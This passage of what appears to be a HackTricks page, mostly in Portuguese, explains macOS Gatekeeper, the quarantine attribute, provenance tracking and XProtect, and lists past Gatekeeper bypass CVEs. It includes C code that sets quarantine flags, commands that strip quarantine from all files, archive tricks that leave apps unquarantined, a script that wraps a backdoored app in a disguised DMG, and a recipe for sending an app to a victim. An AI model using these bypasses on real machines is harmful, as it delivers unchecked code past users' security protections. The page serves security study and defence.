enum qtn_flags { QTN_FLAG_DOWNLOAD = 0x0001, QTN_FLAG_SANDBOX = 0x0002, QTN_FLAG_HARD = 0x0004, QTN_FLAG_USER_APPROVED = 0x0040, };

#define qtn_proc_alloc _qtn_proc_alloc #define qtn_proc_apply_to_self _qtn_proc_apply_to_self #define qtn_proc_free _qtn_proc_free #define qtn_proc_init _qtn_proc_init #define qtn_proc_init_with_self _qtn_proc_init_with_self #define qtn_proc_set_flags _qtn_proc_set_flags #define qtn_file_alloc _qtn_file_alloc #define qtn_file_init_with_path _qtn_file_init_with_path #define qtn_file_free _qtn_file_free #define qtn_file_apply_to_path _qtn_file_apply_to_path #define qtn_file_set_flags _qtn_file_set_flags #define qtn_file_get_flags _qtn_file_get_flags #define qtn_proc_set_identifier _qtn_proc_set_identifier

typedef struct _qtn_proc *qtn_proc_t; typedef struct _qtn_file *qtn_file_t;

int qtn_proc_apply_to_self(qtn_proc_t); void qtn_proc_init(qtn_proc_t); int qtn_proc_init_with_self(qtn_proc_t); int qtn_proc_set_flags(qtn_proc_t, uint32_t flags); qtn_proc_t qtn_proc_alloc(); void qtn_proc_free(qtn_proc_t); qtn_file_t qtn_file_alloc(void); void qtn_file_free(qtn_file_t qf); int qtn_file_set_flags(qtn_file_t qf, uint32_t flags); uint32_t qtn_file_get_flags(qtn_file_t qf); int qtn_file_apply_to_path(qtn_file_t qf, const char *path); int qtn_file_init_with_path(qtn_file_t qf, const char path); int qtn_proc_set_identifier(qtn_proc_t qp, const char bundleid);

int main() {

qtn_proc_t qp = qtn_proc_alloc(); qtn_proc_set_identifier(qp, “xyz.hacktricks.qa”); qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED); qtn_proc_apply_to_self(qp); qtn_proc_free(qp);

FILE *fp; fp = fopen(“thisisquarantined.txt”, “w+”); fprintf(fp, “Hello Quarantine\n”); fclose(fp);

return 0;

}

</details>

E **remova** esse atributo com:
```bash
xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine

E encontre todos os arquivos em quarentena com:

find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"

Quarantine information is also stored in a central database managed by LaunchServices in ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 which allows the GUI to obtain data about the file origins. Moreover this can be overwritten by applications which might be interested in hiding its origins. Moreover, this can be done from LaunchServices APIS.

libquarantine.dylib

This library exports several functions that allow to manipulate the extended attribute fields.

The qtn_file_* APIs deal with file quarantine policies, the qtn_proc_* APIs are applied to processes (files created by the process). The unexported __qtn_syscall_quarantine* functions are the ones that applies the policies which calls mac_syscall with “Quarantine” as first argument which sends the requests to Quarantine.kext.

Quarantine.kext

The kernel extension is only available through the kernel cache on the system; however, you can download the Kernel Debug Kit from https://developer.apple.com/, which will contain a symbolicated version of the extension.

This Kext will hook via MACF several calls in order to traps all file lifecycle events: Creation, opening, renaming, hard-linkning… even setxattr to prevent it from setting the com.apple.quarantine extended attribute.

It also uses a couple of MIBs:

• security.mac.qtn.sandbox_enforce: Enforce quarantine along Sandbox
• security.mac.qtn.user_approved_exec: Querantined procs can only execute approved files

Provenance xattr (Ventura and later)

macOS 13 Ventura introduced a separate provenance mechanism which is populated the first time a quarantined app is allowed to run. Two artefacts are created:

• The com.apple.provenance xattr on the .app bundle directory (fixed-size binary value containing a primary key and flags).
• A row in the provenance_tracking table inside the ExecPolicy database at /var/db/SystemPolicyConfiguration/ExecPolicy/ storing the app’s cdhash and metadata.

Practical usage:

# Inspect provenance xattr (if present)
xattr -p com.apple.provenance /Applications/Some.app | hexdump -C

# Observe Gatekeeper/provenance events in real time
log stream --style syslog --predicate 'process == "syspolicyd"'

# Retrieve historical Gatekeeper decisions for a specific bundle
log show --last 2d --style syslog --predicate 'process == "syspolicyd" && eventMessage CONTAINS[cd] "GK scan"'

XProtect

XProtect é um recurso integrado de anti-malware no macOS. O XProtect verifica qualquer aplicação quando é iniciada pela primeira vez ou modificada em relação ao seu banco de dados de malware conhecidos e tipos de arquivo inseguros. Quando você baixa um arquivo por certos apps, como Safari, Mail ou Messages, o XProtect automaticamente analisa o arquivo. Se corresponder a qualquer malware conhecido no seu banco de dados, o XProtect irá impedir que o arquivo seja executado e alertá-lo sobre a ameaça.

O banco de dados do XProtect é atualizado regularmente pela Apple com novas definições de malware, e essas atualizações são baixadas e instaladas automaticamente no seu Mac. Isso garante que o XProtect esteja sempre atualizado com as ameaças conhecidas mais recentes.

No entanto, vale notar que o XProtect não é uma solução antivírus completa. Ele verifica apenas uma lista específica de ameaças conhecidas e não realiza on-access scanning como a maioria dos softwares antivírus.

Você pode obter informações sobre a atualização mais recente do XProtect executando:

system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5

XProtect está localizado em um local protegido pelo SIP em /Library/Apple/System/Library/CoreServices/XProtect.bundle e dentro do bundle você pode encontrar as informações que o XProtect utiliza:

• XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist: Permite que código com esses cdhashes use entitlements legados.
• XProtect.bundle/Contents/Resources/XProtect.meta.plist: Lista de plugins e extensões que estão proibidos de carregar via BundleID e TeamID ou indicando uma versão mínima.
• XProtect.bundle/Contents/Resources/XProtect.yara: Regras Yara para detectar malware.
• XProtect.bundle/Contents/Resources/gk.db: Banco de dados SQLite3 com hashes de aplicações bloqueadas e TeamIDs.

Note que existe outro App em /Library/Apple/System/Library/CoreServices/XProtect.app relacionado ao XProtect que não está envolvido no processo do Gatekeeper.

XProtect Remediator: No macOS moderno, a Apple fornece scanners sob demanda (XProtect Remediator) que são executados periodicamente via launchd para detectar e remediar famílias de malware. Você pode observar essas varreduras nos logs unificados:

log show --last 2h --predicate 'subsystem == "com.apple.XProtectFramework" || category CONTAINS "XProtect"' --style syslog

Não é Gatekeeper

Caution

Observe que o Gatekeeper não é executado toda vez que você executa uma aplicação; apenas o AppleMobileFileIntegrity (AMFI) irá verificar as assinaturas de código executável quando você executar um app que já foi executado e verificado pelo Gatekeeper.

Portanto, anteriormente era possível executar um app para armazená-lo em cache pelo Gatekeeper, então modificar arquivos não executáveis da aplicação (como Electron asar ou arquivos NIB) e, se nenhuma outra proteção estivesse em vigor, a aplicação seria executada com as adições maliciosas.

No entanto, agora isso não é possível porque o macOS impede a modificação de arquivos dentro dos bundles de aplicações. Então, se você tentar o Dirty NIB attack, verá que não é mais possível abusar dele porque após executar o app para armazená-lo em cache pelo Gatekeeper, você não poderá modificar o bundle. E se você alterar, por exemplo, o nome do diretório Contents para NotCon (conforme indicado no exploit), e então executar o binário principal do app para armazená-lo em cache com o Gatekeeper, isso irá gerar um erro e não será executado.

Bypasses do Gatekeeper

Qualquer forma de burlar o Gatekeeper (conseguir que o usuário baixe algo e o execute quando o Gatekeeper deveria impedi-lo) é considerada uma vulnerabilidade no macOS. Abaixo estão alguns CVEs atribuídos a técnicas que permitiram burlar o Gatekeeper no passado:

CVE-2021-1810

Foi observado que se o Archive Utility for usado para extração, arquivos com caminhos excedendo 886 caracteres não recebem o atributo estendido com.apple.quarantine. Essa situação inadvertidamente permite que esses arquivos contornem as verificações de segurança do Gatekeeper.

Consulte o relatório original para mais informações.

CVE-2021-30990

Quando uma aplicação é criada com o Automator, as informações sobre o que ela precisa para executar ficam dentro de application.app/Contents/document.wflow e não no executável. O executável é apenas um binário genérico do Automator chamado Automator Application Stub.

Portanto, você poderia fazer application.app/Contents/MacOS/Automator\ Application\ Stub apontar, por meio de um link simbólico, para outro Automator Application Stub dentro do sistema e ele executará o que está em document.wflow (seu script) sem acionar o Gatekeeper porque o executável real não possui o xattr de quarantine.

Exemplo do local esperado: /System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub

Consulte o relatório original para mais informações.

CVE-2022-22616

Nesse bypass, um arquivo zip foi criado com uma aplicação começando a compressão a partir de application.app/Contents em vez de application.app. Portanto, o atributo de quarantine foi aplicado a todos os arquivos de application.app/Contents, mas não a application.app, que é o que o Gatekeeper verificava; assim, o Gatekeeper foi burlado porque quando application.app foi acionado ele não tinha o atributo de quarantine.

zip -r test.app/Contents test.zip

Check the original report for more information.

CVE-2022-32910

Mesmo que os componentes sejam diferentes, a exploração desta vulnerabilidade é muito similar à anterior. Neste caso será gerado um Apple Archive a partir de application.app/Contents de modo que application.app não receberá o quarantine attr quando descomprimido pelo Archive Utility.

aa archive -d test.app/Contents -o test.app.aar

Consulte o original report para mais informações.

CVE-2022-42821

A ACL writeextattr pode ser usada para impedir que alguém escreva um atributo em um arquivo:

touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
xattr -w attrname vale /tmp/no-attr
xattr: [Errno 13] Permission denied: '/tmp/no-attr'

Além disso, o formato de arquivo AppleDouble copia um arquivo incluindo seus ACEs.

No source code é possível ver que a representação em texto da ACL armazenada no xattr chamado com.apple.acl.text será definida como ACL no arquivo descomprimido. Então, se você compactou uma aplicação em um arquivo zip com o formato AppleDouble com uma ACL que impede que outros xattrs sejam escritos nela… o quarantine xattr não foi definido na aplicação:

chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
python3 -m http.server
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

Consulte o original report para mais informações.

Observe que isto também poderia ser explorado com AppleArchives:

mkdir app
touch app/test
chmod +a "everyone deny write,writeattr,writeextattr" app/test
aa archive -d app -o test.aar

CVE-2023-27943

Foi descoberto que Google Chrome não estava definindo o atributo de quarentena em arquivos baixados devido a alguns problemas internos do macOS.

CVE-2023-27951

Os formatos AppleDouble armazenam os atributos de um arquivo em um arquivo separado que começa com ._, isso ajuda a copiar atributos de arquivo entre máquinas macOS. No entanto, foi observado que, após descompactar um arquivo AppleDouble, o arquivo que começa com ._ não recebeu o atributo de quarentena.

mkdir test
echo a > test/a
echo b > test/b
echo ._a > test/._a
aa archive -d test/ -o test.aar

# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute

Sendo possível criar um arquivo que não tenha o quarantine attribute definido, era possível contornar o Gatekeeper. O truque era criar um DMG file application usando a convenção de nomes AppleDouble (comece com ._) e criar um arquivo visível como um sym link para esse arquivo oculto sem o quarantine attribute.
Quando o dmg file é executado, como ele não tem o quarantine attribute, ele irá contornar o Gatekeeper.

# Create an app bundle with the backdoor an call it app.app

echo "[+] creating disk image with app"
hdiutil create -srcfolder app.app app.dmg

echo "[+] creating directory and files"
mkdir
mkdir -p s/app
cp app.dmg s/app/._app.dmg
ln -s ._app.dmg s/app/app.dmg

echo "[+] compressing files"
aa archive -d s/ -o app.aar

[CVE-2023-41067]

Um bypass do Gatekeeper corrigido no macOS Sonoma 14.0 permitia que apps criados especificamente rodassem sem exibir prompt. Detalhes foram divulgados publicamente após a correção e o problema foi explorado ativamente na natureza antes do patch. Garanta que o Sonoma 14.0 ou posterior esteja instalado.

[CVE-2024-27853]

Um bypass do Gatekeeper no macOS 14.4 (lançado em março de 2024) originado do manuseio de ZIPs maliciosos pelo libarchive permitia que apps evadissem a avaliação. Atualize para 14.4 ou posterior, onde a Apple corrigiu o problema.

CVE-2024-44128

An Automator Quick Action workflow embutido em um app baixado podia ser acionado sem a avaliação do Gatekeeper, porque workflows eram tratados como dados e executados pelo helper do Automator fora do caminho normal do prompt de notarization. Um .app criado sob medida que embala uma Quick Action que roda um shell script (por exemplo, dentro de Contents/PlugIns/*.workflow/Contents/document.wflow) podia, portanto, executar imediatamente ao ser aberto. A Apple adicionou um diálogo extra de consentimento e corrigiu o caminho de avaliação em Ventura 13.7, Sonoma 14.7, e Sequoia 15.

Third‑party unarchivers mis‑propagating quarantine (2023–2024)

Várias vulnerabilidades em ferramentas de extração populares (por exemplo, The Unarchiver) fizeram com que arquivos extraídos de arquivos compactados perdessem o xattr com.apple.quarantine, possibilitando oportunidades de bypass do Gatekeeper. Sempre confie no macOS Archive Utility ou em ferramentas corrigidas ao testar, e valide os xattrs após a extração.

uchg (from this talk)

• Create a directory containing an app.
• Add uchg to the app.
• Compress the app to a tar.gz file.
• Send the tar.gz file to a victim.
• The victim opens the tar.gz file and runs the app.
• Gatekeeper does not check the app.

Prevent Quarantine xattr

In an “.app” bundle if the quarantine xattr is not added to it, when executing it Gatekeeper won’t be triggered.

References

• Apple Platform Security: Sobre o conteúdo de segurança do macOS Sonoma 14.4 (inclui CVE-2024-27853) – https://support.apple.com/en-us/HT214084
• Eclectic Light: Como o macOS agora rastreia a proveniência de apps – https://eclecticlight.co/2023/05/10/how-macos-now-tracks-the-provenance-of-apps/
• Apple: Sobre o conteúdo de segurança do macOS Sonoma 14.7 / Ventura 13.7 (CVE-2024-44128) – https://support.apple.com/en-us/121234
• MacRumors: macOS 15 Sequoia removes the Control‑click “Open” Gatekeeper bypass – https://www.macrumors.com/2024/06/11/macos-sequoia-removes-open-anyway/

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

• Confira os planos de assinatura!
• Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
• Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.